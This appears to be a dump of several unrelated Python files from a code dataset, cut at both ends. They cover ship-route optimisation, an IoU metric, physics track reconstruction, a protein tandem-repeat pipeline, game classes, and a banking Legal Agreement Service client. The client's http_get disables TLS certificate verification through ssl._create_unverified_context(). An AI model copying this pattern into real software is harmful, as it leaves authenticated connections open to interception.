child.lati),DEPTH_LIMIT):\n ind.append(True)\n else:\n ind.append(False)\n ind = np.array(ind)\n results = results[ind]\n \n return tuple(map(tuple, results))\n \n def cost(self, start, end, v, time, container):\n ps = container[start[0]][start[1]]\n pe = container[end[0]][end[1]]\n i_depth = bathymetry.water_depth([ps.longi, ps.lati])\n i_wind_U = weather_info.u([ps.lati, ps.longi, time]) / 0.51444\n i_wind_V = weather_info.v([ps.lati, ps.longi, time]) / 0.51444\n i_Hs = weather_info.hs([ps.lati, ps.longi, time])\n i_Tp = weather_info.tp([ps.lati, ps.longi, time])\n i_head = weather_info.hdg([ps.lati, ps.longi, time])\n i_cu = weather_info.cu([ps.lati, ps.longi, time])\n i_cv = weather_info.cv([ps.lati, ps.longi, time])\n dist, bearing = greatcircle_inverse(ps.longi, ps.lati, pe.longi, pe.lati)\n vfit = ship_info.power_to_speed(v, bearing, i_cu, i_cv, i_depth, i_wind_U, i_wind_V, i_Hs, i_Tp, i_head)\n timec = dist / vfit / 1.852\n fuel_cost = ship_info.weather2fuel(vfit, bearing, i_cu, i_cv, i_depth, i_wind_U, i_wind_V, i_Hs, i_Tp, i_head)\n fuelc = fuel_cost[3] * dist / 1.852\n \n return np.array([np.float(fuelc), timec]).ravel(), np.array(fuel_cost + [vfit]).ravel().tolist()\n\nclass PriorityQueue:\n def __init__(self):\n self.elements = []\n \n def empty(self):\n return len(self.elements) == 0\n \n def put(self, item, priority):\n heapq.heappush(self.elements, (priority, item))\n \n def get(self):\n return heapq.heappop(self.elements)[1]\n\ndef dijkstra(graph, container, start, goal, v, q, Initial_time, Initial_fuelc):\n frontier = PriorityQueue()\n frontier.put(start, np.array([Initial_fuelc, Initial_time, 0, 0, 0, 0, v]))\n came_from = {}\n cost_so_far = {}\n came_from[start] = None\n cost_so_far[start] = [Initial_fuelc, Initial_time, 0, 0, 0, 0, v]\n \n while not frontier.empty():\n current = frontier.get()\n\n if current[0] == goal[0]:\n break\n \n for next in graph.neighbors(current, q, container):\n current_time = cost_so_far[current][1]\n point_cost, power_info = graph.cost(current, next, v, current_time, container)\n new_cost = np.array(cost_so_far[current][:2]) + point_cost\n if next not in cost_so_far or new_cost[0] < cost_so_far[next][0]:\n cost_so_far[next] = new_cost.tolist() + power_info \n priority = new_cost.tolist()\n frontier.put(next, priority)\n came_from[next] = current\n \n return came_from, cost_so_far\n\n \ndef construct_dijpath(goal, start, came_from, cost_so_far, container):\n current = goal\n path = [current]\n while current != start:\n current = came_from[current]\n path.append(current)\n path.reverse()\n path_info = []\n for subpath in path:\n child = container[subpath[0]][subpath[1]]\n child_info = cost_so_far[subpath]\n path_info.append([child_info[1], child.longi, child.lati, child_info[0], child_info[2], child_info[3], child_info[4] ,child_info[5], child_info[6]])\n \n return np.array(path_info)\n\n## departure\n#p_dep = np.array([3.9, 52.0])\n## destination\n#p_des = np.array([-5.0, 49.0])\n## # construct route 1\n#DijkGraph1 = gen_graph(p_dep, p_des, 20, 1, 25, 0.07)\n#GraphWidth = len(DijkGraph1)\n#GraphHeight = max([len(dijkgraph) for dijkgraph in DijkGraph1])\n#DijkGrid1 = DijkstraGrid(GraphWidth, GraphHeight)\n#Dcf1, Dcsf1 = dijkstra(DijkGrid1, DijkGraph1, (0, 0), (GraphWidth - 1, 0), 20, 5, 0, 0)\n#Dij_path1 = construct_dijpath((GraphWidth - 1, 0),(0, 0), Dcf1, Dcsf1, DijkGraph1)\n#dij_timec = Dij_path1[-1,0]\n#dij_fuelc = Dij_path1[-1,3]\n# departure\np_dep = np.array([-5.0, 49.0])\n# destination\np_des = np.array([-73.0, 40.0])\n# construct route 2\nDijkGraph2 = gen_graph(p_dep, p_des, 20, 6, 25, 0.1)\nGraphWidth = len(DijkGraph2)\nGraphHeight = max([len(dijkgraph) for dijkgraph in DijkGraph2])\nDijkGrid2 = DijkstraGrid(GraphWidth, GraphHeight)\nDcf2, Dcsf2 = dijkstra(DijkGrid2, DijkGraph2, (0, 0), (GraphWidth - 1, 0), 20, 5, 0, 0)\nDij_path2 = construct_dijpath((GraphWidth - 1, 0),(0, 0), Dcf2, Dcsf2, DijkGraph2)\n\nm = Basemap(\n projection=\"merc\",\n resolution='l',\n area_thresh=0.1,\n llcrnrlon=-75,\n llcrnrlat=35,\n urcrnrlon=10,\n urcrnrlat=55\n)\nplt.figure(figsize=(20, 15))\n#x, y = m(Dij_path1[:,1], Dij_path1[:,2])\n#m.plot(x, y, marker=None, linewidth=3, color='g')\n#m.scatter(x, y, marker='D',color='g')\n\nx, y = m(Dij_path2[:,1], Dij_path2[:,2])\nm.plot(x, y, marker=None, linewidth=3, color='g')\nm.scatter(x, y, marker='D',color='g')\nm.drawparallels(np.arange(-90.,120.,5.), labels=[1,0,0,0], fontsize=15)\nm.drawmeridians(np.arange(-180.,180.,5.), labels=[0,0,0,1], fontsize=15)\nm.drawcoastlines()\nm.fillcontinents()\nplt.show()","sub_path":"dijkstra_PowerConst.py","file_name":"dijkstra_PowerConst.py","file_ext":"py","file_size_in_byte":8749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"201694852","text":"import torch\nimport numpy as np\nfrom data_reader import reader_csv\nfrom config import args\n\n\ndef Iou(input,target,classNum):\n '''\n :param input: [b,h,w]\n :param target: [b,h,w]\n :param classNum: scalar\n :return:\n '''\n inputTmp = torch.zeros([input.shape[0],classNum,input.shape[1],input.shape[2]])#创建[b,c,h,w]大小的0矩阵\n targetTmp = torch.zeros([target.shape[0],classNum,target.shape[1],target.shape[2]])#同上\n input = input.unsqueeze(1)#将input维度扩充为[b,1,h,w]\n target = target.unsqueeze(1)#同上\n inputOht = inputTmp.scatter_(index=input,dim=1,value=1)#input作为索引,将0矩阵转换为onehot矩阵\n targetOht = targetTmp.scatter_(index=target,dim=1,value=1)#同上\n batchMious = []#为该batch中每张图像存储一个miou\n mul = inputOht * targetOht#乘法计算后,其中1的个数为intersection\n for i in range(input.shape[0]):#遍历图像\n ious = []\n for j in range(classNum):#遍历类别,包括背景\n intersection = torch.sum(mul[i][j])\n union = torch.sum(inputOht[i][j]) + torch.sum(targetOht[i][j]) - intersection + 1e-6\n iou = intersection / union\n ious.append(iou)\n miou = np.mean(ious)#计算该图像的miou\n batchMious.append(miou)\n return batchMious\n\n# x=torch.zeros(3,32,32)\n# y=torch.ones(3,32,32)\n# classnum=2\n#\n# print(Iou(x,y,classnum))\n#label_values=reader_csv(args.csv_dir)\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"333818448","text":"from glob import glob\nimport sys\nfrom PyBeamDiag.track_recon import ridge_follow\nfrom PyBeamDiag.fit_func import gauss\nimport multiprocessing\nfrom functools import partial\nfrom scipy.io import loadmat\nfrom scipy.optimize import curve_fit\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nimport pickle\nimport numpy as np\n\ndef main():\n args = sys.argv\n fits_dir = args[1]\n recon_dir = args[2]\n\n # recon LLSE\n f_files = glob('%s/*.fits' %(fits_dir))\n partial_func = partial(ridge_follow, outdir=recon_dir, plotflag=True, \n pickleflag=False)\n pool = multiprocessing.Pool(16)\n LLSE = pool.map(partial_func, f_files)\n pickle.dump(LLSE, open('%s/result.p' %(recon_dir), 'wb'))\n 1/0\n #plot\n binW = 1 # deg\n binCenters = np.arange(-150, -90.1, binW)\n binEdges = np.arange(binCenters[0]-0.5*binW, binCenters[-1]+0.51*binW, binW)\n LLSE_counts, _ = np.histogram(LLSE, binEdges)\n HT_counts, _ = np.histogram(HT, binEdges)\n fig = Figure()\n canvas = FigureCanvasAgg(fig)\n ax = fig.add_subplot(111)\n ax.plot(binCenters, LLSE_counts, 'bo-', lw=2, label='LLSE')\n ax.plot(binCenters, HT_counts, 'rs-', lw=2, label='HT')\n\n # compute FWHM\n p0 = [10000, -120, 10]\n LLSE_fit, LLSE_cov = curve_fit(gauss, binCenters, LLSE_counts, p0)\n LLSE_fit_std = np.sqrt(np.diag(LLSE_cov))\n HT_fit, HT_cov = curve_fit(gauss, binCenters, HT_counts, p0)\n HT_fit_std = np.sqrt(np.diag(HT_cov))\n x = np.arange(-150, -90.01, 0.1)\n ax.plot(x, gauss(x, *(LLSE_fit)), 'b-', lw=1) \n ax.plot(x, gauss(x, *(HT_fit)), 'r-', lw=1)\n\n \n # write result to file\n f = open('%s/Result.print' %(recon_dir), 'w')\n f.write('LLSE \\n')\n f.write(' FWHM = %.1f (%.2f)\\n' %(LLSE_fit[-1]*2.35, LLSE_fit_std[-1]*2.35))\n f.write(' Centroid = %.1f (%.2f)\\n' %(LLSE_fit[-2], LLSE_fit_std[-2]))\n f.write(' Total = %s \\n' %(np.sum(LLSE_counts)))\n f.write('HT \\n')\n f.write(' FWHM = %.1f (%.2f)\\n' %(HT_fit[-1]*2.35, HT_fit_std[-1]*2.35))\n f.write(' Centroid = %.1f (%.2f)\\n' %(HT_fit[-2], HT_fit_std[-2]))\n f.write(' Total = %s \\n' %(np.sum(HT_counts)))\n f.write('HTout: %s' %(HTout))\n f.close()\n\n # print figure\n canvas.print_figure('%s/LLSE_vs_HT.png' %(recon_dir))\n\nif __name__ == '__main__':\n main()\n","sub_path":"_energy_recon.py","file_name":"_energy_recon.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"225610134","text":"#!/home/lina/envs/tral_env/bin/python3.7\n\n##########################################################################\n### Importing required modules\n##########################################################################\n\nimport sys\nimport os\nimport pickle\n\nfrom pyfaidx import Fasta\n\nimport logging\nimport logging.config\n\nfrom tral.paths import config_file, PACKAGE_DIRECTORY\nfrom tral import configuration\nfrom tral.sequence import sequence\nfrom tral.hmm import hmm\n\nlogging.config.fileConfig(config_file(\"logging.ini\"))\nlog = logging.getLogger('root')\n\n# define this as in the config\nCONFIG_GENERAL = configuration.Configuration.instance().config\nCONFIG = CONFIG_GENERAL[\"repeat_list\"]\nscore = CONFIG[\"model\"]\n\n##########################################################################\n######### Defining Paths and Parameters\n\n## AA reference\n\n# Private computer paths\nworking_dir = \"/home/lina/Desktop/TRAL_Masterthesis/references/Uniprot_data/proteom_reference/pickles\"\nsequences_path = \"/home/lina/Desktop/TRAL_Masterthesis/references/Uniprot_data/proteom_reference\"\noutput_path = \"/home/lina/SynologyDrive/TRAL_Masterthesis/TRAL_Pipeline_Analytics/test_output/proteom\"\n\n## Cluster paths\n# working_dir = \"/home/naefpau1/proteome_reference/pickles\"\n# sequences_path = \"/home/naefpau1/proteome_reference\"\n# output_path = \"/home/naefpau1/output\n\n# Thresholds for filtering\npvalue_threshold = 0.05\ndivergence_threshold = 0.1\nn_threshold = 2.5 # minimun repeat unit count\nl_threshold = 3 # maximum repeat unit length\n\n# set_file = \"AUP000005640_Mitochondrion.fasta\"\n# set_file = \"AUP000005640_Chromosome22.fasta\"\n\nif len(sys.argv) > 1:\n chr_nr = sys.argv[1] # check commmand line argument\nelse:\n sys.exit(\"Please provide the chromosome number as input.\")\n\nset_file = \"AUP000005640_Chromosome\" + chr_nr + \".fasta\"\nprint(set_file)\n\nset_name = set_file.split(\".fasta\")[0]\nsequences_file = os.path.join(sequences_path, set_file)\nresult_dir = os.path.join(output_path, set_name)\ntry:\n if not os.path.isdir(result_dir):\n os.makedirs(result_dir)\nexcept:\n raise Exception(\n \"Could not create path to result directory: {}\".format(\n os.path.dirname(result_dir)))\n\n\n##########################################################################\n######### Getting sequences\n\n## obtaining sequences from fasta format\n## Pyfaix Documentation (https://pythonhosted.org/pyfaidx/#installation)\nproteins = Fasta(sequences_file)\n# print(proteins.keys())\n# proteins['sp|P03886|NU1M_HUMAN'][:].seq\n\nall_denovo_repeats = 0\nall_filtered_repeats = 0\n\nfor pyfaidx in proteins:\n seq_name = pyfaidx.name.split(\"|\")[1]\n sequence_pkl = os.path.join(working_dir, seq_name + \"_sequence.pkl\")\n\n if os.path.exists(sequence_pkl):\n # Getting back the sequences:\n try: # catch empty files\n with open(sequence_pkl,'rb') as f: # files saved before \n seq = pickle.load(f)\n except EOFError:\n seq = sequence.Sequence(seq=str(pyfaidx), name=seq_name) # name is protein identifier\n # Saving this sequences as binary files:\n with open(sequence_pkl, 'wb') as f: \n pickle.dump(seq, f) \n else:\n seq = sequence.Sequence(seq=str(pyfaidx), name=seq_name) # name is protein identifier\n # Saving this sequences as binary files:\n with open(sequence_pkl, 'wb') as f: \n pickle.dump(seq, f)\n\n log.debug(\"Work on sequence {}\".format(seq_name))\n ##########################################################################\n ######### Getting TRs\n\n TRs_pkl = os.path.join(working_dir, \"TRs_raw\", seq_name + \"_TRs.pkl\")\n\n if os.path.exists(TRs_pkl):\n # Getting back the sequences:\n try:\n with open(TRs_pkl,'rb') as f: # files saved before \n denovo_list = pickle.load(f)\n except EOFError:\n denovo_list = seq.detect(denovo=True)\n for TR in denovo_list.repeats:\n TR.calculate_pvalues()\n \n # Saving this sequences as binary files:\n with open(TRs_pkl, 'wb') as f: \n pickle.dump(denovo_list, f) \n\n else:\n denovo_list = seq.detect(denovo=True)\n for TR in denovo_list.repeats:\n TR.calculate_pvalues()\n \n # Saving this sequences as binary files:\n with open(TRs_pkl, 'wb') as f: \n pickle.dump(denovo_list, f)\n\n ##########################################################################\n ######### Filtering TRs\n\n all_denovo_repeats += len(denovo_list.repeats) # add number of denovo found repeats\n\n output_pickle_file = os.path.join(result_dir, seq_name + \".pkl\")\n output_tsv_file = os.path.join(result_dir, seq_name + \".tsv\")\n\n if os.path.exists(output_pickle_file) and os.path.exists(output_tsv_file):\n try:\n with open(output_pickle_file,'rb') as f: \n denovo_list_remastered = pickle.load(f)\n # denovo_list_remastered.write(output_format = \"tsv\", file = output_tsv_file) # write tsv output new\n except EOFError:\n pass\n else:\n # filtering for pvalue\n denovo_list = denovo_list.filter(\n \"pvalue\",\n score,\n pvalue_threshold)\n\n ## filtering for divergence\n denovo_list = denovo_list.filter(\n \"divergence\",\n score,\n divergence_threshold)\n\n ## filtering for number of repeat units\n denovo_list = denovo_list.filter(\n \"attribute\", \n \"n_effective\", \n \"min\", \n n_threshold)\n\n ## filtering for length of repeat units\n denovo_list = denovo_list.filter(\n \"attribute\", \n \"l_effective\", \n \"max\", \n l_threshold)\n\n ##########################################################################\n ######### Building HMM with hmmbuild\n\n # # De novo TRs were remastered with HMM\n denovo_hmm = [hmm.HMM.create(input_format = 'repeat', repeat=iTR) for iTR in denovo_list.repeats] # only possible with hmmbuild\n denovo_list_remastered = seq.detect(lHMM=denovo_hmm)\n\n ##########################################################################\n ######### Clustering\n\n # De novo TRs were clustered for overlap (common ancestry). Only best =\n # lowest p-Value and lowest divergence were retained.\n denovo_list_remastered = denovo_list.filter(\n \"none_overlapping\", [\"common_ancestry\"], {\n \"pvalue\": score, \"divergence\": score})\n\n ##########################################################################\n ######### Save Tandem Repeats\n\n denovo_list_remastered.write(output_format = \"pickle\", file = output_pickle_file)\n denovo_list_remastered.write(output_format = \"tsv\", file = output_tsv_file)\n\n # function to save as fasta has to be integrated\n\n all_filtered_repeats += len(denovo_list_remastered.repeats) # add number of clustered repeats\n print(\"\\n***\", seq_name, \"***\")\n print(\"denovo repeats:\", len(denovo_list.repeats))\n print(\"repeats after filtering and clustering:\", len(denovo_list_remastered.repeats))\n\n for i in range(len(denovo_list_remastered.repeats)):\n print(denovo_list_remastered.repeats[i])\n\nprint(\"\\nThere where {} repeats found de novo.\".format(all_denovo_repeats))\nprint(\"After filtering and clustering there where only {} repeats left.\\n\".format(all_filtered_repeats))\n","sub_path":"TRAL_Analytics/TR_per_Chromosome.py","file_name":"TR_per_Chromosome.py","file_ext":"py","file_size_in_byte":7541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"236241557","text":"import xml.etree.ElementTree as ET\n\ncraftables = [\"Copper Bar\", \"Iron Bar\"]\n\nclass SmeltingPot:\n def __init__(self):\n self.name = 0\n self.rate = 1\n self.period = 0\n self.amount = 0\n\n def set_name(self, name):\n self.name = name\n # also get related item data from xml\n\nclass SmeltingFloor:\n def __init__(self):\n self.smelting_xml = ET.parse('smelting.xml')\n self.smelting_root = self.smelting_xml.getroot()\n self.raw_material_xml = ET.parse('raw_material.xml')\n self.raw_material_root = self.raw_material_xml.getroot()\n self.smelting_pot = list()\n self.prod_data_set = dict()\n\n def set_smelting_pot(self, pot):\n self.smelting_pot.append(pot)\n\n def get_production_rate(self):\n for smelting_pot in self.smelting_pot:\n # get production info from each station\n # smelting pot already have it's item smelted set and item data obtained\n item_name = smelting_pot.name\n item_xml = self.smelting_root.find(\"./item/[name='\" + item_name + \"']\")\n # save item produced from smelting pot\n prod_data = ProductionData()\n prod_data.name = item_xml.find(\"name\").text\n prod_data.price = float(item_xml.find(\"price\").text)\n prod_data.period = int(item_xml.find(\"production\").find(\"time\").text)\n prod_data.amount = int(item_xml.find(\"production\").find(\"amount\").text)\n prod_data.rate = float(prod_data.amount)/prod_data.period\n for source in item_xml.findall(\"./source\"):\n source_data = SourceData(source.find(\"name\").text, int(source.find(\"amount\").text))\n prod_data.source_list.append(source_data)\n # put it into the set\n if prod_data.name not in self.prod_data_set:\n self.prod_data_set[prod_data.name] = prod_data\n else:\n self.prod_data_set[prod_data.name].rate += prod_data.rate\n\n return self.prod_data_set\n\nclass SourceData:\n def __init__(self, name, amount):\n self.name = name\n self.amount = amount\n\nclass ProductionData:\n def __init__(self):\n self.name = 0\n self.rate = 0.0\n self.period = 0\n self.amount = 0\n self.price = 0.0\n self.source_list = list()\n\n def get_name(self):\n return self.name","sub_path":"smelting.py","file_name":"smelting.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"595747523","text":"\"\"\"-----------------------------------------------------------------------------\nPURPOSE : Legal Agreement Service (LAS) integration\nDEVELOPER : Libor Svoboda\nREQUESTER : Victor Mofokeng (CRT desk)\n--------------------------------------------------------------------------------\n\nHISTORY\n================================================================================\nDate Change no Developer Description\n--------------------------------------------------------------------------------\n2020-11-26 CHG0140652 Libor Svoboda Initial implementation\n2021-02-03 CHG0149970 Libor Svoboda Add delayed queue\n\"\"\"\nimport json\nimport ssl\ntry:\n import urllib.request as urlrequest\n from urllib.error import HTTPError\n from http import client\n from urllib.parse import urlparse, quote\nexcept ImportError:\n # Python 2\n import urllib2 as urlrequest\n from urllib.error import HTTPError\n import httplib as client\n from urlparse import urlparse\n from urllib.parse import quote\n\nimport acm\nimport amb\nimport las_product_mapping\nfrom at_ael_variables import AelVariableHandler\nfrom at_amba_message import AmbaMessage\nfrom at_ats_utils import AmbConnection, get_api_config, get_param_value\nfrom at_decorators import retry\nfrom at_logging import getLogger\nfrom las_util import (STATE_CHART, API_CONFIG, AGREEMENTS,\n FPARAM_CURRENCY_TO_VAL_GROUP,\n FPARAM_INDEX_TO_VAL_GROUP,\n POPULATE_DEFAULTS_RETRIES,\n DELETE_DEFAULTS_RETRIES,\n UPDATED_FIELDS_TRIGGER_REQUEST,\n UPDATED_FIELDS_VAL_GRP_UPDATE,\n KerberosAuth, get_last_step,\n get_process_for_trade,\n is_amwi_cleared_trade)\n\n\nLOGGER = getLogger(__name__)\nAMB_CONNECTION = AmbConnection(ignore_instance_name=True)\n\n\nael_variables = AelVariableHandler()\nael_variables.add(\n 'fparam_name',\n label='FParameters Name',\n)\nael_variables.add(\n 'queue_delay',\n label='Queue Delay',\n default=0,\n cls='int',\n)\n\n\nclass InvalidMessage(Exception):\n pass\n\n\nclass LegalServiceApiError(Exception):\n pass\n\n\nclass LegalServiceMissingDataError(Exception):\n pass\n\n\n@retry(LegalServiceApiError, tries=5, delay=1, logger=LOGGER)\ndef http_get(url):\n kerb_auth = KerberosAuth()\n request = urlrequest.Request(url, headers=kerb_auth.headers)\n try:\n response = urlrequest.urlopen(request, context=ssl._create_unverified_context())\n except HTTPError as error:\n LOGGER.info('Request failed: %s.' % url)\n if error.code == 404:\n raise LegalServiceMissingDataError('Legal data not found.')\n if KerberosAuth.is_kerberos_auth(error):\n kerb_auth.authenticate()\n raise LegalServiceApiError(str(error))\n except Exception as exc:\n raise LegalServiceApiError('Exception: %s' % str(exc))\n else:\n if response.code != client.OK:\n raise LegalServiceApiError('Failed to retrieve data, code %s.' % response.code)\n kerb_auth.respond(response)\n return json.loads(response.read())\n\n\ndef get_record_type(amba_message):\n business_obj = amba_message.mbf_last_object()\n if not business_obj:\n raise InvalidMessage('Missing business object.')\n return business_obj.mbf_find_object('RECORD_TYPE').mbf_get_value()\n\n\ndef get_acm_object(amba_message):\n business_obj = amba_message.mbf_last_object()\n if not business_obj:\n raise InvalidMessage('Missing business object.')\n record_type = business_obj.mbf_find_object('RECORD_TYPE').mbf_get_value()\n if record_type == 'Trade':\n oid = int(business_obj.mbf_find_object('TRDNBR').mbf_get_value())\n acm.PollDbEvents()\n return acm.FTrade[oid]\n if record_type == 'BusinessProcess':\n oid = int(business_obj.mbf_find_object('SEQNBR').mbf_get_value())\n acm.PollDbEvents()\n return acm.FBusinessProcess[oid]\n raise InvalidMessage('Invalid record type \"%s\".' % record_type)\n\n\ndef get_operation(amba_message):\n msg_type = amba_message.mbf_find_object('TYPE').mbf_get_value()\n type_split = msg_type.split('_')\n if len(type_split) == 2:\n return type_split[0]\n raise InvalidMessage('Missing operation \"%s\".' % msg_type)\n\n\ndef get_add_info(msg_object, addinf_spec):\n tables = msg_object.get_tables('ADDITIONALINFO')\n for table in tables:\n if ('ADDINF_SPECNBR.FIELD_NAME' in table.attributes\n and table.attributes['ADDINF_SPECNBR.FIELD_NAME']['current'] == addinf_spec):\n return table.attributes['VALUE']['current']\n return ''\n\n\ndef get_updated_fields(msg_object, fields_dict):\n updates = []\n if (msg_object.parent_table.attributes['STATUS']['current'] \n in ('BO Confirmed', 'BO-BO Confirmed')\n and not get_add_info(msg_object, 'CCPclearing_process').startswith('LCH')):\n # Only AMWI clearing trades are considered in 'BO Confirmed' or 'BO-BO Confirmed'\n return []\n for table in msg_object.get_tables():\n if not table.operation:\n continue\n if table.name not in fields_dict:\n continue\n if table.name == 'TRADE':\n if table.operation != 'UPDATE':\n continue\n for field in fields_dict[table.name]:\n if (field in table.attributes \n and table.attributes[field]['operation'] == 'UPDATE'):\n if (field == 'TIME'\n and table.attributes[field]['current'][:10] \n == table.attributes[field]['previous'][:10]):\n continue\n LOGGER.info('Update processing triggerd by %s %s update.'\n % (table.name, field))\n updates.append((table.name, field))\n elif table.name == 'ADDITIONALINFO':\n try:\n field = table.attributes['ADDINF_SPECNBR.FIELD_NAME']['current']\n except KeyError:\n continue\n if field in fields_dict[table.name]:\n LOGGER.info('Update processing triggerd by %s %s update.'\n % (table.name, field)) \n updates.append((table.name, field))\n return updates\n\n\ndef discount_index_updated(updated_fields):\n return (len(updated_fields) == 1 \n and updated_fields[0] == ('ADDITIONALINFO', 'LAS_Discount_Index'))\n\n\nclass BusinessProcessWorker(object):\n \n state_chart = STATE_CHART\n \n def __init__(self, bp):\n self._bp = bp\n self._trade = bp.Subject()\n self._log_str = 'Trade %s (process %s)' % (self._trade.Oid(), self._bp.Oid())\n \n @staticmethod\n def force_to_state(bp, state, reason=''):\n try:\n bp.ForceToState(state, reason)\n bp.Commit()\n except:\n LOGGER.exception('Process %s failed to force to \"%s\".' \n % (bp.Oid(), state))\n raise\n LOGGER.info('Process %s successfully forced to \"%s\".' \n % (bp.Oid(), state))\n \n @staticmethod\n def handle_event(bp, event, params=None):\n try:\n bp.HandleEvent(event, params)\n bp.Commit()\n except:\n LOGGER.exception('Process %s failed to handle event \"%s\".' \n % (bp.Oid(), event))\n raise\n LOGGER.info('Process %s handled event \"%s\" successfully.' \n % (bp.Oid(), event))\n \n @staticmethod\n def get_url(trade_date, party_id, product_id, trade_id=None):\n url = '%s/api/ISDA/%s/%s/%s' % (API_CONFIG['address'], trade_date, \n party_id, quote(product_id, safe=''))\n if trade_id:\n url += '?faId=%s' % trade_id\n return url\n \n @staticmethod\n def get_product(trade):\n return las_product_mapping.get_product(trade)\n \n @staticmethod\n def convert_to_params(las_data):\n agreements = las_data['isdaAgreements']\n defaults = acm.FDictionary()\n defaults['ISDA'] = ''\n defaults['CSA'] = ''\n defaults['IM'] = ''\n defaults['Discount_Index'] = ''\n options = acm.FDictionary()\n indices = acm.FDictionary()\n for agreement in agreements:\n isda = acm.FDictionary()\n csa = acm.FList()\n if agreement['default']:\n defaults['ISDA'] = str(agreement['name'])\n for csa_agreement in agreement['vmAgreements']:\n discount_index = acm.FList()\n csa.AddLast(str(csa_agreement['name']))\n if csa_agreement['default'] and agreement['default']:\n defaults['CSA'] = str(csa_agreement['name'])\n for factor in csa_agreement['discountFactors']:\n discount_index.AddLast(str(factor['factor']))\n if factor['default'] and csa_agreement['default'] and agreement['default']:\n defaults['Discount_Index'] = str(factor['factor'])\n indices[str(csa_agreement['name'])] = discount_index\n isda['CSA'] = csa\n im = acm.FList()\n for im_agreement in agreement['imAgreements']: \n im.AddLast(str(im_agreement['name']))\n if im_agreement['default'] and agreement['default']:\n defaults['IM'] = str(im_agreement['name'])\n isda['IM'] = im\n options[str(agreement['name'])] = isda\n params = acm.FDictionary()\n params['defaults'] = defaults\n params['options'] = options\n params['indices'] = indices\n return params\n \n @staticmethod\n def val_group_update_applicable(trade):\n instrument = trade.Instrument()\n trades = acm.FTrade.Select('instrument=\"%s\" and status '\n 'in (\"FO Confirmed\", \"BO Confirmed\", \"BO-BO Confirmed\")'\n % instrument.Name())\n if not trades:\n return True\n trade_count = len(trades)\n if trade_count > 2:\n return False\n if trade_count == 2:\n return (trades[0].MirrorTrade() \n and trades[0].MirrorTrade() == trades[1].MirrorTrade())\n return True\n \n def _request_las_data(self):\n trade_date = self._trade.TradeTime()[:10]\n party_id = self._trade.Counterparty().Oid()\n product_id = self.get_product(self._trade)\n url = self.get_url(trade_date, party_id, product_id, self._trade.Oid())\n try:\n return http_get(url)\n except:\n LOGGER.error('%s: Failed to get LAS data for %s, party %s, product %s.'\n % (self._log_str, trade_date, party_id, product_id))\n raise\n \n def _clear_add_infos(self):\n clone = self._trade.Clone()\n for add_info in clone.AddInfos()[:]:\n if add_info.AddInf().Name() in AGREEMENTS.values():\n LOGGER.info('%s: Clearing add info %s.' \n % (self._log_str, add_info.AddInf().Name()))\n clone.AddInfos().Remove(add_info)\n self._trade.Apply(clone)\n self._trade.Commit()\n \n def _process_data_request(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n las_data = None\n data_not_found = False\n error_msg = 'Data not received.'\n try:\n las_data = self._request_las_data()\n except LegalServiceMissingDataError as error:\n error_msg = str(error)\n LOGGER.exception('%s: Failed to request data.' % self._log_str)\n data_not_found = True\n except Exception as exc:\n error_msg = str(exc)\n LOGGER.exception('%s: Failed to request data.' % self._log_str)\n if data_not_found:\n self.force_to_state(self._bp, 'Data Not Received', error_msg)\n return\n if not las_data:\n self.force_to_state(self._bp, 'Request Failed', error_msg)\n return\n LOGGER.info('%s: Data requsted successfully.' % self._log_str)\n params = self.convert_to_params(las_data)\n self.handle_event(self._bp, 'Success', params)\n \n def _process_data_received(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n self.handle_event(self._bp, 'Populate Defaults')\n \n def _process_data_not_received(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n self.handle_event(self._bp, 'Delete Defaults')\n \n def _process_populate_defaults(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n error_msg = ''\n data_step = get_last_step(self._bp, 'Data Received')\n params = data_step.DiaryEntry().Parameters()\n defaults = params['defaults']\n if not defaults:\n error_msg = 'Defaults not found.'\n LOGGER.error('%s: %s' % (self._log_str, error_msg))\n self.force_to_state(self._bp, 'Defaults Update Failed', error_msg)\n return\n image = self._trade.StorageImage()\n try:\n for data_type, add_info_name in AGREEMENTS.iteritems():\n current_value = getattr(self._trade.AdditionalInfo(), add_info_name)()\n if defaults[data_type]:\n LOGGER.info('%s: Populating default %s: %s.' \n % (self._log_str, data_type, defaults[data_type]))\n setattr(image.AdditionalInfo(), add_info_name, defaults[data_type])\n elif current_value:\n LOGGER.info('%s: No default %s received, clearing current add info %s.' \n % (self._log_str, data_type, add_info_name))\n for add_info in image.AddInfos()[:]:\n if add_info.AddInf().Name() == add_info_name:\n image.AddInfos().Remove(add_info)\n image.Commit()\n except Exception as exc:\n error_msg = str(exc)\n LOGGER.exception('%s: Failed to populate defaults.' % self._log_str)\n if error_msg:\n self.force_to_state(self._bp, 'Defaults Update Failed', error_msg)\n return\n LOGGER.info('%s: Defaults populated successfully.' % self._log_str)\n if ((defaults['Discount_Index'] or is_amwi_cleared_trade(self._trade))\n and self.val_group_update_applicable(self._trade)):\n self.handle_event(self._bp, 'Update Val Group')\n else:\n self.handle_event(self._bp, 'Success')\n \n def _process_delete_defaults(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n error_msg = ''\n clone = self._trade.Clone()\n for add_info in clone.AddInfos()[:]:\n if add_info.AddInf().Name() in AGREEMENTS.values():\n LOGGER.info('%s: Clearing add info %s.' \n % (self._log_str, add_info.AddInf().Name()))\n clone.AddInfos().Remove(add_info)\n try:\n self._trade.Apply(clone)\n self._trade.Commit()\n except Exception as exc:\n error_msg = str(exc)\n LOGGER.exception('%s: Failed to delete 